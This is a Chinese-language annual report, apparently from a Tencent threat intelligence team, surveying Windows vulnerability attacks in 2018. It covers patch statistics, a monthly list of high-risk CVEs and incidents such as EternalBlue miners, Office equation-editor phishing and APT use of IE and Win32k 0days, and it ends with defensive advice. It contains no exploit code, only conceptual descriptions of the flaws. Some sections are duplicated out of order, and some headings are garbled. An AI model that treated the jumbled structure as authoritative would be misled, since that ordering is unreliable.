病毒样本通过利用Lnk漏洞执行恶意代码,还会自动感染其它插入的可移动磁盘。使用U盘作为传播载体,可被用来攻击基础设施、存放关键资料的核心隔离系统等,对政企单位的内网安全有较大威胁。由于该次攻击主要影响群体为频繁使用U盘进行文件传送的局域网用户,使得校园和政企等单位频频中招。
其实“震网3”这种通过快捷方式产生的漏洞本身没什么技术含量,但由于其超链接的特性能够执行系统上任意程序或脚本,自由度极高且隐蔽性强而在漏洞利用攻击中喜闻乐见。
3.4.3 “412”挂马风暴(CVE-2016-0189)
2018年4月12日,腾讯御见威胁情报中心监控到大量客户端的内嵌新闻页中被嵌入恶意代码,导致用户在毫无知情的情况,被植入挖矿木马、银行木马、以及远控木马等。本波挂马波及到的客户端多达50多个,影响超过20w用户,影响面非常之广。该挂马利用了一个2016年3月的vbscript脚本引擎损坏漏洞(CVE-2016-0189)来下载恶意脚本。CVE-2016-0189与今年新的IE“双杀”0day漏洞CVE-2018-8174一样,曾经是一个被用于APT攻击的0day漏洞,该漏洞利用了VBScript脚本引擎vbscript.dll中存在的数组访问越界问题来执行恶意代码。
可以看到,黑客们也会“偷懒”,几乎所有被大量使用的漏洞,都是那些简单易用、稳定又成功率高的漏洞。对于黑客而言,除非是为了完成一些特殊的任务,否则那些漏洞利用中的技术壁垒则是必须要考虑的因素之一。3.5 Windows下半年频现0day漏洞
今年是0day漏洞持续爆发的一年,Windows系产品可谓是多灾多难,不仅在补丁发布和Win10子版本升级方面BUG频出,让用户叫苦不迭;更是在短短半年时间内被连续曝出10个0day漏洞,7个已发现野外利用,而其中有6个在被发现的短短几天时间内,就迅速被APT组织利用于盗窃企业、政府机构的机密信息,0day漏洞的重要性,从这些黑客的手上就能够读懂。
3.5.1 “双杀”0day漏洞被APT组织DarkHotel(黑店)APT组织利用(CVE-2018-8174、CVE-2018-8242、CVE-2018-8373)
2018年4月18日,首个IE“双杀”系列漏洞CVE-2018-8174的在野攻击样本被发现,由此开启了Windows下半年每月“稳定供应”一个0day漏洞的节奏。
据报道称,该样本来自一个被命名为Darkhotel(APT-C-06)的APT组织。该APT组织善于利用高危漏洞针对企事业单位进行定向攻击,窃取国家机密,DarkHotel早在年初就利用Office公式编辑器漏洞发起过针对政府单位的攻击。
在接下来的7月、8月里,Internet Explorer又相继被曝出“双杀”二代(CVE-2018-8242)和“双杀”三代(CVE-2018-8373)0day漏洞。DarkHotel组织再度使用相同的攻击技术,利用 “双杀”三代针对企业高管、国防工业、电子工业等重要机构发起定向攻击。
除被APT组织多次利用外,“双杀”一代(CVE-2018-8174)还在6月16日被腾讯御见威胁情报中心捕获到一个木马传播利用的案例。一款名为“流量宝流量版”的软件在软件内嵌的IE浏览器中利用该漏洞执行shellcode并下载DDoS木马和挖矿木马等将受害电脑控制为肉鸡。来自该样本的漏洞利用攻击请求次数,最高曾高达30多万次。
3.5.2  APT组织Darkhydrus和摩诃草对CVE-2018-8414的利用
2018年6月,一种关于Windows 10新引入的文件类型“.SettingContent-ms”的任意代码执行攻击技巧被公开了POC,该漏洞一遭公开就迅速被不法黑客和APT组织利用。在野外攻击中,捕获多个利用该0day漏洞的攻击样本。
据报道,曾发现Darkhydrus使用该漏洞利用技术,用于投递DNS隧道通信攻击,另外,疑似APT组织摩诃草也曾利用该漏洞投放攻击样本。
直到2018年8月14日微软才发布相应漏洞补丁并给予漏洞编号CVE-2018-8414。
3.5.3  APT组织FruityArmor对CVE-2018-8453的利用
CVE-2018-8453是一个位于win32kfull!xxxDestroyWindow函数中的UAF远程代码漏洞,该漏洞最早在8月由卡巴斯基实验室发现被APT组织FruityArmor利用于近期的攻击活动中,据悉,卡巴斯基实验室捕获的攻击样本使用的shellcode长期以来只被FruityArmor在C2领域所使用,而这次,FuityArmor利用该漏洞发起的攻击似乎有高度针对性,仅影响了中东地区的十几名用户。
3.5.4 APT组织SandCat对两个0day提权漏洞的利用(CVE-2018-8589、CVE-2018-8611)
10月17日,卡巴斯基实验室发现一例APT组织SandCat针对中东地区用户进行的小范围针对性攻击,该攻击利用了Windows Win32k本地提权漏洞CVE-2018-8589,该漏洞仅影响Windows 7 x86以及WindowsServer 2008操作系统,暂时仅被发现利用于APT活动。
而该漏洞被发现还不到一个月,在10月29日,再次发现一个新的Windows内核提权0day漏洞CVE-2018-8611被同一组织利用。新的漏洞可以绕过了主流web浏览器的沙箱,相较于CVE-2018-8589而言更具威胁性。
Windows下半年被曝出的0day漏洞,几乎都是通过APT组织投放的攻击样本发现,可以看出APT组织较喜爱利用0day漏洞,以达到出其不意,一击必杀的目的,且将攻击影响范围缩到最小,确保攻击活动的隐匿性。 四、 如何做好漏洞防护4.1 个人用户漏洞防护
4.1.1 及时修复安全漏洞开启安全软件实时防护
防范漏洞攻击最直接有效的方法就是使用新版本的系统,并且及时修复系统环境中存在的安全漏洞。
4.1.2 培养良好的计算机使用习惯
个人需提高计算机网络安全意识,不轻易下载不明软件程序,不轻易打开不明邮件夹带的可疑附件,注意识别&不轻易打开可疑的网站,及时备份重要的数据文件。4.2 企业用户漏洞防护
4.2.1 建立有效的漏洞情报监控体系,建设完善的漏洞补丁管理能力
建立起有效的安全情报监控体系,密切关注各大安全媒体如“御见威胁情报中心”的威胁情报预警。
同时需要做好生产力工具的安全管理,积极安装最新补丁,修复漏洞,时刻保证个人/企业使用的设备、软件、硬件的安全性,缩短漏洞平均存续期,可以大大减少被不法分子攻击的可能。使用腾讯御点终端安全管理系统可以全网统一安装系统补丁,提升客户端的安全性。
 

4.2.2 安全演练,培养员工良好的信息安全意识
定期组织企业信息安全演练,以钓鱼邮件、钓鱼网页、社会工程等拟真攻击手段来提高员工安全意识,能使员工对信息安全有更深刻的印象与认识,从终端杜绝安全威胁。五、 回顾2018,展望2019
回顾2018,勒索病毒、挖矿木马大行其道,智能合约、智能硬件、人工智能等新技术带来新趋势的同时更带来新的安全威胁,全球各领域漏洞提交数量持续上涨而0day漏洞正变得愈发常见,全球各行各业的重大信息泄露事件层见迭出,APT组织带有政治意味的攻击也愈发猖狂,国际信息安全态势正处于弓弦逐渐紧绷的时刻,而作为信息安全守护者的我们,更应该时刻思考如何应对新的变化,永远做好迎接全新挑战的准备 。5.1 思维进化,道高一丈
2018年12月,国内黑客就用一起典型的、针对软件供应链发起的攻击结合利用漏洞传播木马的安全事件(广东省深圳市某知名软件厂商软件升级通道传播木马),拉开了安全攻防新时代的巨幕。在技术革新不断发生的时代,“进攻方”的手段在不断演化升级,作为“防守方”更要时刻开阔眼界,与时俱进,不死守陈旧的防守观,追求“魔高一尺道高一丈”,才能真正成为信息安全的守护神。5.2 千里之堤毁于蚁穴,人永远是最大的漏洞
 
钓鱼、广告甚至社会工程学等传统、低技术含量的手段能够屡试不爽,成为黑客们最喜爱的传播病毒、木马的手段,恰恰说明了信息安全中最大的漏洞还是在人身上。低技术含量的攻击手段本身,就是个高效的筛选器,可以过滤掉那些对计算机和网络十分了解的精明用户,将安全意识低下的目标人群筛选出来,真正地达到高精准的定点攻击,基于这样的情况,企业、政府等机构更是需要多进行安全事件演习,加强业务人员的信息安全意识,才能在真正意义上“修复漏洞”,保障信息安全。
 5.3  需建设多维、立体的安全能力体系
 
安全漏洞涉及计算机的方方面面,企业信息安全不能再只作简单的网络隔离,更要全方位地加强企业生产力设备中网络、软件、硬件的安全性,做好补丁管理及时更新企业软硬件,并建设一定的漏洞检测、安全应急响应、威胁情报监控、攻击溯源追踪能力,才能拥有一道更坚固的信息安全防火墙。 查看全部
一、   前言
漏洞是影响网络安全的重要因素,而漏洞攻击作为恶意攻击的最常用手段,更是有着目标行业化、手段多样化的趋势,不论是个人还是企业,都面临着严峻的漏洞威胁。
2018年在轰动式的“幽灵”、“熔断”两大CPU漏洞中揭开序幕。“震网3漏洞利用挖矿”、“412挂马风暴”等安全事件发生表明,漏洞利用攻击,不再是APT组织的“专属”,漏洞利用正往“低成本化”趋势发展。过去一年,Windows、Office、IE、Flash等高危漏洞频繁被曝光,而各种野外漏洞利用更是攻击层出不穷,更给个人和企业的网络安全带来了严峻的威胁。本报告主要重点分析2018年Windows平台的漏洞攻击态势,并给个人和企业合理化的漏洞防护建议。二、2018年Windows平台漏洞盘点
2018年对于安全行业是颇具考验的一年,据安全数据库网站cvedetails.com的漏洞提交数据统计,自1999年起,Windows操作系统的漏洞提交数量就呈逐年上涨的趋势,而在近几年达到了一个爆发期,今年的安全漏洞提交数相较过往三年同比上升最高超过40%,安全漏洞的数量和严重性创下历史新高。
 
2.1  2018年Windows安全公告数量
在软硬件漏洞遍地都是的今天,补丁管理作为网络安全最基础的一环,就显得尤为重要。在企业选择产品时亦需要注意厂商对其产品安全性的投入,只有软件/平台开发商对于产品安全性投入高,产品才有保障。微软作为全球知名的软件开发商,对其名下产品的安全性投入是比较到位的,每月都会进行维护发布补丁修复安全漏洞。2018全年微软共为其产品(Windows,IE/Edge,office等)发布了874个补丁,修复了728个漏洞,平均每月修复多达60个漏洞。

 2.2  Windows漏洞影响产品&系统分布
2018年,在所有漏洞影响的Windows产品中,Windows系统组件漏洞占到了35%的比例,浏览器漏洞占25%,Office漏洞则占比17% 。
 

根据腾讯御见威胁情报中心的数据监测,虽然Office和Adobe(主要是Flash)被曝光的漏洞相对较少,但漏洞利用的比例最高。可见,黑客挑选漏洞时,更可能是优先考虑漏洞利用的成本,并参考其攻击目标人群与产品用户的重合度,而与产品本身漏洞量的多少并无正相关。
 

相比较2017年,2018年Office和.net的漏洞曝光量上升比较明显,相对Windows系统组件漏洞,Office漏洞常被大家忽视,但却备受黑客喜爱,众多专业黑客组织对重要目标的攻击,会选择使用Office高危漏洞,腾讯御见威胁情报中心再次提醒大家需及时安装Office漏洞补丁,避免偶然打开一个文档就被植入后门。
 

在所有Windows各版本中,受到最多漏洞影响的却是Windows 10系统,这说明Windows 10已是主流的操作系统版本,其漏洞曝光量正越来越多,同时提醒广大用户,即便使用最新版本的操作系统,也不可忽视漏洞风险,每个月及时安装安全更新是防范黑客入侵的必要步骤。
 

从2017年同比数据也可以看出,Windows Server 2016上报告的漏洞数增加了近7%,同时可预测,针对新版服务器操作系统的漏洞也将越来越多。
 
2.3  2018年漏洞攻击的地区&行业分布
2018年漏洞攻击地区分布与当地经济水平及信息化普及程度相关。2018年漏洞攻击集中在北上广三地,其中以国家政府机关、高科技人才和经济富裕人士汇集的首都北京首当其冲。北上广是全国经济、政治和科技要地,更是走在中国国际化的前列,大量可见利益汇集,是不法黑客首选的攻击目标。
 

根据腾讯御见威胁情报中心数据监测, Windows操作系统存在高危漏洞在教育、政府、卫生医疗行业占比最高。
 

从受攻击量的对比数据看,政府、教育、医疗卫生行业因为其系统存在大量高危漏洞未及时修复,所受攻击次数也相对较高。而科技行业虽然漏洞存在量相对较少,受攻击量却是最高的,这样从另一方面说明,漏洞利用攻击者通常是有目的针对性地采取攻击,对科技行业的攻击,泄取机密往往成为首选目的。
 
2.4   国内用户整体漏洞修复情况&高危漏洞修复情况
2018国内用户整体漏洞修复中,Windows漏洞和.NET漏洞达到了70%以上的修复率,其次是IE、Flash和Office漏洞修复率徘徊在60%上下。整体漏洞修复率偏低可以反映出国内的个人用户目前的信息安全意识亟待提升,公众对于安全漏洞的危害认知尚不到位。

而在四类高危漏洞(存在野外利用的漏洞)修复中,Windows高危漏洞达到了82%的修复率,其次是IE和.NET高危漏洞修复率约达到70%,Flash和Office高危漏洞则修复率较低,仅有约50%。
 

Flash高危漏洞修复率偏低是由于许多第三方软件会自带一个Flash插件,而微软官方提供的Flash补丁仅能更新其中一小部分,无法完全覆盖第三方浏览器目录下的所有Flash插件,导致部分用户电脑上的Flash漏洞较难得到彻底修复解决。
Office软件本身对更新做的是相对较弱的提示,如果没有第三方安全软件的强提醒,一般用户主动安装补丁修复Office安全漏洞的较少;另一方面,国内存在大量盗版Office用户,而这些盗版镜像往往经过镜像制作者的修改,难以正常安装补丁。对于重要的政府机构、企事业单位、科研机构来说,软件系统的正版化对降低黑客入侵风险具有十分重要的意义。2.5 Windows漏洞危害类型分布&漏洞危害等级分布
在2018年曝光的Windows平台漏洞中,远程执行代码类漏洞达到了42%的高占比,其次是信息泄露类漏洞和特权提升类漏洞各占20%。远程执行代码类漏洞由于其兼具隐蔽性与自由度,广受黑客攻击者欢迎,今年曝出的两个IE“双杀”0day漏洞(CVE-2018-8174、CVE-2018-8373)就是被广泛利用于恶意攻击的最好例子。
 

2018年曝光的Windows平台漏洞中,“危急”等级(漏洞危害最高等级)的漏洞占比23%,“危急”等级的漏洞量依然占据着较高的比例。
 
2.6  Windows漏洞利用病毒分布&被利用的漏洞分布
在2018年利用漏洞进行攻击的病毒中,非PE(文件格式)占了66%的高比例,而PE文件占了31%。常见非PE漏洞攻击病毒有Office宏类病毒、脚本类病毒。相比较PE,非PE病毒的攻击手法更灵活,对安全软件来说检测非PE病毒更为困难。
 
2.7 2018年Windows平台高危漏洞盘点
 

2018年1
Microsoft Office公式编辑器再次曝出两个高危漏洞CVE-2018-0798和CVE-2018-0802。CVE-2018-0798是Office公式编辑器在解析Matrix Record(0×05)的内容时,没有对行与列的成员进行特定的长度校验,这就导致黑客可以通过精心构造内容任意指定后续读入的行与列长度,从而造成栈溢出。CVE-2018-0802技术原理与之类似,微软在1月9日通过发布移除公式编辑器的补丁修复这两个漏洞。 
[b]20182[/b]
Adobe Flash被曝出一个0day漏洞CVE-2018-4878。该漏洞影响版本在28.0.0.137以下的Adobe Flash,通过修改Flash脚本对象ByteArray的值至特殊长度来实现任意地址读写,实现漏洞利用,再将Adobe Flash Player嵌入Office文档和邮件等载体中并诱使用户打开的途径快速传播漏洞,在解析ATF文件时访问内部数据结构使用了无效的指针偏移导致漏洞,成功攻击后可能会导致敏感信息泄露。该漏洞在2月6日被修复; 
[b]20183[/b]
Ulf Frisk曝光了一个Windows内核提权高危漏洞TotelMeltdown(CVE-2018-1038 )。该漏洞是由微软先前发布用于修复“Meltdown”漏洞的补丁产生的新问题,补丁错误地将PML4权限设定成用户级,可以让任意进程读取并修改页表项目,该漏洞仅影响Windows7 x64 和Windows Server 2008 R2系统,并在3月29日被修复; 
[b]20184[/b]
Internet Explorer被曝出一个0day漏洞“双杀”(CVE-2018-8174)。该漏洞通过VBScriptClass::Release函数中存在的缺陷访问未分配内存,从而触发漏洞达到任意地址读写的目的。该漏洞通过精心构造的页面或往邮件或Office文档中嵌入VBScript脚本即可触发,危害性较强,也因此被命名为“双杀”漏洞,且一遭曝光便第一时间被APT组织利用于黑客活动。该漏洞于5月8日被修复; 
[b]20185[/b]
Windows操作系统和Adobe Acrobat/Reader PDF阅读器被ESET公布了两个捆绑在一起的0day漏洞。
(CVE-2018-8120、CVE-2018-4990)这是源于ESET在3月捕获的用于攻击测试的一个PDF样本。CVE-2018-4990实际上是一个堆内存越界访问任意地址释放漏洞,原样本精准地使用堆喷射布局内存,然后释放两块大小为0xfff8的相邻堆块,在Windows堆分配算法将堆块合并后,利用该堆块改写一个ArrayBuffer对象的长度为0×66666666从而实现任意地址读写。CVE-2018-8120则是由于内核函数 SetImeInfoEx 未对其目标窗口站 tagWINDOWSTATION的指针成员域 spklList 的指向地址进行有效性校验,而是直接进行读取访问。这两个漏洞已在5月被修复; 
[b]20186[/b]
Windows 10被曝出一个0day漏洞(CVE-2018-8414)。这是一个Windows Shell 远程执行代码漏洞,由于Windows Shell在某些情况下会不正确地验证文件路径,通过精心构造的恶意脚本触发该漏洞,可以达到任意读写的目的。该漏洞仅适用于Windows 10的新文件类型“.SettingContent-ms”,该漏洞直到8月14日才正式分配CVE编号并修复。 
[b]20187[/b]
Internet Explorer被曝光0day漏洞“双杀”二代(CVE-2018-8242),它的出现是由于4月“双杀”一代(CVE-2018-8174)的修复补丁并未完全解决漏洞,导致VBScript脚本引擎中仍存在类似问题,该漏洞由360Vulcan团队发现并提交,并在7月10日被修复; 
[b]20188[/b]
(1)   Exchange Server被公开了一个内存损坏漏洞(CVE-2018-8302)的POC,攻击者可使用钓鱼攻击触发漏洞利用攻击企业用户计算机,并再次发起攻击直至接管Exchange Server服务器。Exchange对语音邮件的接收存储过程中,会转换语音邮件读取TopNWords.Data并通过.NET BinaryFormatter对它反序列化,该漏洞就存在于反序列化过程中。(2)   Internet Explorer被Trendmicro曝出0day漏洞“双杀”三代(CVE-2018-8373),它基于与“双杀”一代相似的原理,通过VBScript.dll中存在的缺陷获取任意读取权限。两例漏洞都于8月14日被修复;
[b]20189[/b]
(1)   Windows被曝出ALPC提权0day漏洞(CVE-2018-8440),它通过高级本地过程调用(ALPC)函数中SchRpcSetSecurity函数无法正确检查用户权限的缺陷,获得本地权限提升(LPE)来执行恶意代码。
(2)   Microsoft Jet Database Engine被公开了一个远程代码执行0day漏洞(CVE-2018-8423)的POC,该漏洞是一种越界(OOB)写入漏洞,可诱导用户打开包含以JET数据库格式存储的数据的特制文件,通过对象链接和嵌入数据库(OLEDB)的Microsoft组件打开Jet源来触发漏洞,发起攻击。两例漏洞分别于9月11日和10月9日被修复;
1[b]20180[/b]
(1)   Microsoft Edge被公开了一个关于Windows Shell的RCE高危漏洞(CVE-2018-8495)的POC,攻击者可以使用该漏洞利用POC,通过Microsoft Edge构造包含特殊URI的网页,诱导用户打开即可实现在远程计算机上运行恶意代码。漏洞是由于Windows Shell处理URI时,未过滤特殊的URI所导致(如拉起脚本的Windows Script Host的URI为wshfile)。
(2)   Windows被曝出一个Win32k提权0day漏洞(CVE-2018-8453),它的利用过程较为复杂,简言之是利用了在win32k.sys组件的win32kfull!xxxDestroyWindow函数中的UAF漏洞从而获取本地提权。两例漏洞都于10月9日修复; 
[b]201811[/b]
Windows再被曝出Win32k提权0day漏洞(CVE-2018-8589)。它的出现是由于在win32k!xxxMoveWindow函数中存在不恰当的竞争条件,导致线程之间同时发送的信息可能被不当锁定。该漏洞已在11月13日被修复; 
[b]201812[/b]
(1)   Microsoft DNS Server被曝光存在一个堆溢出高危漏洞(CVE-2018-8626)。所有被设置为DNS服务器的Windows服务器都会受到此漏洞影响。攻击者向Windows DNS服务器发送精心构造的漏洞利用恶意请求,以触发堆溢出并远程代码执行。漏洞于12月11日发布补丁修复。
(2)   Windows连续第四个月被曝出0day漏洞。这次是一个更加高危的kernel内核事务管理器驱动程序的提权漏洞(CVE-2018-8611),它是源于kernel模式下对文件操作的不当处理引发内核事务管理器产生竞争条件,此漏洞绕过了现在主流web浏览器的进程缓解策略而从实现沙箱逃逸,这可让黑客在web上构建完整的远程代码执行攻击链。该漏洞最初在10月29日被发现,微软于12月11日分配CVE号并公布修复补丁; 三、 2018典型漏洞安全事件
2018年的安全行业,可谓是“热闹非凡”。前有勒索病毒野火烧不尽,春风吹又生;后有随着区块链概念被炒热,挖矿挂马频出;上有APT组织针对企业、政府、科研机构、事业单位的定向攻击;下有针对外贸行业的“商贸信”钓鱼邮件和针对个人用户的钓鱼邮件攻击,小规模爆发。
而专业APT组织的攻击手法,对普通病毒木马黑产起到教科书般的指导和示范作用,致使高危漏洞的利用从高端到大众快速传播普及,高危漏洞对信息安全的影响力之大,由此便可见一斑。
3.1  “新一代幽灵”——英特尔CPU漏洞持续升级
继年初发现的CPU漏洞Meltdown和Spectre后,英特尔处理器在2018年5月初又被Google Project Zero安全研究团队曝出发现8个新的“幽灵式”硬件漏洞,被称为“新一代幽灵”——Spectre-NG。利用该漏洞可绕过云主机系统与虚拟机的隔离,实现虚拟机逃逸,窃取机密信息。并且,利用该漏洞还可以攻击同一服务器的其它虚拟机。
然而,在下半年再次发现了英特尔CPU存在TLBleed、Foreshadow、PortSmash等多个超线程漏洞。11月初发现的PortSmash漏洞(CVE-2018-5407)影响所有支持超线程技术的Intel处理器。利用该漏洞,攻击者所在的进程可以窃取运行在同一个物理内核的另外一个进程的隐私数据,安全研究人员已经实现从OpenSSL进程中窃取私钥。
一系列的CPU漏洞,对芯片漏洞的修复同样一波三折,仓促发布的补丁带来新的风险,同时导致CPU性能下降,补丁不得不发行了多个版本,最终促使英特尔加快新一代处理器的发布进程,并成为把超线程技术彻底砍掉的最后一根稻草。 3.2 Office公式编辑器再曝新漏洞,商贸信钓鱼攻击屡试不爽 (CVE-2017-11882、CVE-2018-0802、CVE-2018-0798)
Office公式编辑器漏洞(CVE-2017-11882)是典型的栈溢出漏洞,存在于Eqnedit.exe组件中,该漏洞影响所有Office版本且极易利用,由于该漏洞在2017年11月14日仅仅被Windows添加了ASLR(地址随机化)漏洞缓解措施,实际上并未真正修复,且大量用户并不升级Office补丁,因此至今仍能见到许多野外攻击案例。
2017年12月20日,腾讯御见威胁情报中心就发现Eqnedt32模块还存在其他漏洞,同时捕获了一例“黑凤梨”(BlackTech)APT组织利用Office公式编辑器中的0day漏洞(CVE-2018-0802)进行攻击的样本,该样本采用鱼叉攻击的方式将携带恶意代码的Office文档伪装成办公文件进行传播,影响范围较为广泛。
2018年1月9日,Office公式编辑器再曝出新漏洞,这次Windows干脆直接通过删掉公式编辑器的途径来修复漏洞,一了百了。但漏洞补丁刚发布一周,就已开始出现多例CVE-2018-0798漏洞的变种和在野利用。
2018年2月26日腾讯御见威胁情报中心捕获到doc文档样本利用了CVE-2017-11882,通过下载并运行已被公开源码的“波尼”木马,窃取用户比特币钱包文件等敏感信息。
2018年6月1日,腾讯御见威胁情报中心再次检测到针对中国进出口企业投放的,利用CVE-2017-11882的大规模“商贸信”攻击,此类攻击邮件的投放量每天达上千封之多,病毒变种也层出不穷。
由此可以预见,未来相当长的一段时间内,鱼叉攻击+简单易用又十分符合办公场景的Office公式编辑器漏洞,仍会成为备受欢迎的针对中小型企业的攻击手段之一。3.3 Adobe系列产品多次报警,0day漏洞屡遭曝光
3.3.1 Adobe Flash再曝0day野外利用(CVE-2018-4878、CVE-2018-5002)
2018年2月1日, Adobe官方发布了安全通告(APSA18-01)称一个最新的Adobe Flash零日漏洞被发现用于针对韩国地区的人员发起鱼叉攻击。该0day漏洞编号为CVE-2018-4878,官方已于2月5日发布补丁进行修复。漏洞公布后,随即发现大量垃圾邮件迅速利用该漏洞进行传播,攻击者发送带有短链接的恶意Word文档的电子邮件,在下载并打开Word文档后,利用该漏洞打开命令行,再用链接到的恶意域的恶意shellcode远程注入命令,下载一个名为m.db的DLL文件,并使用regsvr32进程执行,完成攻击链。 
CVE-2018-5002则在2018年6月7日被发现野外利用,由APT组织Hacking Team通过即时聊天工具或邮箱发送包含外交部官员基本工资情况(阿拉伯语)的钓鱼文档进行攻击,在诱饵文档被用户打开后在宿主进程excel中执行恶意代码,并利用假冒的网站作为木马下载站达成进攻目的。攻击者将Loader、Exploit、Payload实行分离部署,加大安全工程师逆向还原漏洞利用代码的难度,显然是经过精心准备。
该APT组织费尽心思精心构造了攻击链,并使用0day漏洞攻击政府相关部门,可见其具有一定的政治意图。
3.3.2 Adobe Reader被发现0day漏洞在野利用攻击(CVE-2018-8120、CVE-2018-4990)
2018年5月15日, ESET捕获了一个使用两个0day漏洞联合进行攻击的PDF样本,其中包括一个Adobe Reader的0day漏洞(CVE-2018-4990)和Win32k的内核提权0day漏洞(CVE-2018-8120)。
CVE-2018-8120是Win32k特权提升漏洞,CVE-2018-4990是Adobe Acrobat/Reader的堆内存越界访问任意地址释放漏洞,攻击样本通过CVE-2018-4990获取代码执行权限,再通过利用内核提权漏洞绕过Adobe Acrobat/Reader的沙盒保护并实现任意代码执行。而有意思的是该样本仅是一个测试样本,两个0day漏洞还没来得及利用于攻击便已被修复。3.4  老漏洞被反复利用,“永恒之蓝”是否真的永恒?
多数黑客进攻个人电脑和企业服务器的目的,还是从不法途径谋取利益。往往是美味的蛋糕在哪里,不法黑客的身影就出现在哪里,病毒与木马也就如影随形地进攻到哪里。而这批利益至上的黑客们,对易用又稳定的老漏洞可谓是爱不释手,让我们再来看看2018年那些利用老漏洞进行攻击的热点安全事件。 
3.4.1 “永恒之蓝”系列漏洞:从勒索病毒到挖矿木马
“永恒之蓝”是一个于2017年被曝光的,存在于445端口上的SMB文件共享协议漏洞,不法分子利用此漏洞获取系统最高权限,将病毒木马等恶意软件植入Windows系统。近两年来, “永恒之蓝”漏洞已经成为被利用程度最高的安全漏洞之一。
勒索病毒主要通过三种途径传播:漏洞利用、钓鱼邮件和广告。其中通过漏洞发起的攻击占攻击总数的80%以上,典型案例就是以利用“永恒之蓝”漏洞主动传播的蠕虫式勒索病毒。“永恒之蓝”(WannaCry)可以说是开启了勒索病毒的新时代,并将这样的势头延续到了今年。另外,随着区块链的概念越发火热,今年越来越多的人加入炒币行列,而不法黑客自然不会放过这个牟利的好机会。
今年3月,腾讯御见情报威胁中心就捕获一个门罗币挖矿木马WannaMiner利用“永恒之蓝”漏洞在局域网内传播,将染毒机器打造成庞大的僵尸网络,长期潜伏挖矿,国内600多家企业超3万台电脑受到感染;
今年5月,捕获一款门罗币挖矿木马“微笑”通过扫描“永恒之蓝”漏洞攻击企业服务器悄悄在后台进行挖矿。该木马从3月就开始活动,截至5月,其已经累计挖取846枚门罗币,挖矿收入一度高达120万人民币;
6月1日,捕获一款Glupteba恶意代理木马利用“永恒之蓝”漏洞在局域网迅速传播,感染量激增;
今年8月,台积电曝出遭受WannaCry勒索病毒攻击导致产线瘫痪,造成25.96亿新台币损失;
8月9日,捕获蠕虫病毒bulehero利用“永恒之蓝”漏洞在企业内网攻击传播;
11月,又有一家知名半导体企业合晶科技,其位于大陆的工厂全线感染WannaCry勒索病毒,造成产线瘫痪,工厂全部停产。
由于越大型的单位和机械系统,越追求稳定性,使用的越是win7sp0、xp等微软早已停止提供更新服务的操作系统,因此存在大量无法及时修复的漏洞。而只要漏洞场景存在,安全威胁就不会消失,与勒索病毒和挖矿木马的抗争,就必须持续进行下去。 
3.4.2 国内首例利用“震网3”LNK漏洞实施挖矿
2018年3月,腾讯御见威胁情报中心监测到,国内首例使用U盘作为传播载体,利用lnk远程代码执行漏洞(CVE-2017-8464)作为主要传播手段的门罗币挖矿木马。
病毒样本通过利用Lnk漏洞执行恶意代码,还会自动感染其它插入的可移动磁盘。使用U盘作为传播载体,可被用来攻击基础设施、存放关键资料的核心隔离系统等,对政企单位的内网安全有较大威胁。由于该次攻击主要影响群体为频繁使用U盘进行文件传送的局域网用户,使得校园和政企等单位频频中招。
其实“震网3”这种通过快捷方式产生的漏洞本身没什么技术含量,但由于其超链接的特性能够执行系统上任意程序或脚本,自由度极高且隐蔽性强而在漏洞利用攻击中喜闻乐见。
3.4.3 “412”挂马风暴(CVE-2016-0189)
2018年4月12日,腾讯御见威胁情报中心监控到大量客户端的内嵌新闻页中被嵌入恶意代码,导致用户在毫无知情的情况,被植入挖矿木马、银行木马、以及远控木马等。本波挂马波及到的客户端多达50多个,影响超过20w用户,影响面非常之广。该挂马利用了一个2016年3月的vbscript脚本引擎损坏漏洞(CVE-2016-0189)来下载恶意脚本。CVE-2016-0189与今年新的IE“双杀”0day漏洞CVE-2018-8174一样,曾经是一个被用于APT攻击的0day漏洞,该漏洞利用了VBScript脚本引擎vbscript.dll中存在的数组访问越界问题来执行恶意代码。
可以看到,黑客们也会“偷懒”,几乎所有被大量使用的漏洞,都是那些简单易用、稳定又成功率高的漏洞。对于黑客而言,除非是为了完成一些特殊的任务,否则那些漏洞利用中的技术壁垒则是必须要考虑的因素之一。3.5 Windows下半年频现0day漏洞
今年是0day漏洞持续爆发的一年,Windows系产品可谓是多灾多难,不仅在补丁发布和Win10子版本升级方面BUG频出,让用户叫苦不迭;更是在短短半年时间内被连续曝出10个0day漏洞,7个已发现野外利用,而其中有6个在被发现的短短几天时间内,就迅速被APT组织利用于盗窃企业、政府机构的机密信息,0day漏洞的重要性,从这些黑客的手上就能够读懂。
3.5.1 “双杀”0day漏洞被APT组织DarkHotel(黑店)APT组织利用(CVE-2018-8174、CVE-2018-8242、CVE-2018-8373)
2018年4月18日,首个IE“双杀”系列漏洞CVE-2018-8174的在野攻击样本被发现,由此开启了Windows下半年每月“稳定供应”一个0day漏洞的节奏。
据报道称,该样本来自一个被命名为Darkhotel(APT-C-06)的APT组织。该APT组织善于利用高危漏洞针对企事业单位进行定向攻击,窃取国家机密,DarkHotel早在年初就利用Office公式编辑器漏洞发起过针对政府单位的攻击。
在接下来的7月、8月里,Internet Explorer又相继被曝出“双杀”二代(CVE-2018-8242)和“双杀”三代(CVE-2018-8373)0day漏洞。DarkHotel组织再度使用相同的攻击技术,利用 “双杀”三代针对企业高管、国防工业、电子工业等重要机构发起定向攻击。
除被APT组织多次利用外,“双杀”一代(CVE-2018-8174)还在6月16日被腾讯御见威胁情报中心捕获到一个木马传播利用的案例。一款名为“流量宝流量版”的软件在软件内嵌的IE浏览器中利用该漏洞执行shellcode并下载DDoS木马和挖矿木马等将受害电脑控制为肉鸡。来自该样本的漏洞利用攻击请求次数,最高曾高达30多万次。
3.5.2  APT组织Darkhydrus和摩诃草对CVE-2018-8414的利用
2018年6月,一种关于Windows 10新引入的文件类型“.SettingContent-ms”的任意代码执行攻击技巧被公开了POC,该漏洞一遭公开就迅速被不法黑客和APT组织利用。在野外攻击中,捕获多个利用该0day漏洞的攻击样本。
据报道,曾发现Darkhydrus使用该漏洞利用技术,用于投递DNS隧道通信攻击,另外,疑似APT组织摩诃草也曾利用该漏洞投放攻击样本。
直到2018年8月14日微软才发布相应漏洞补丁并给予漏洞编号CVE-2018-8414。
3.5.3  APT组织FruityArmor对CVE-2018-8453的利用
CVE-2018-8453是一个位于win32kfull!xxxDestroyWindow函数中的UAF远程代码漏洞,该漏洞最早在8月由卡巴斯基实验室发现被APT组织FruityArmor利用于近期的攻击活动中,据悉,卡巴斯基实验室捕获的攻击样本使用的shellcode长期以来只被FruityArmor在C2领域所使用,而这次,FuityArmor利用该漏洞发起的攻击似乎有高度针对性,仅影响了中东地区的十几名用户。
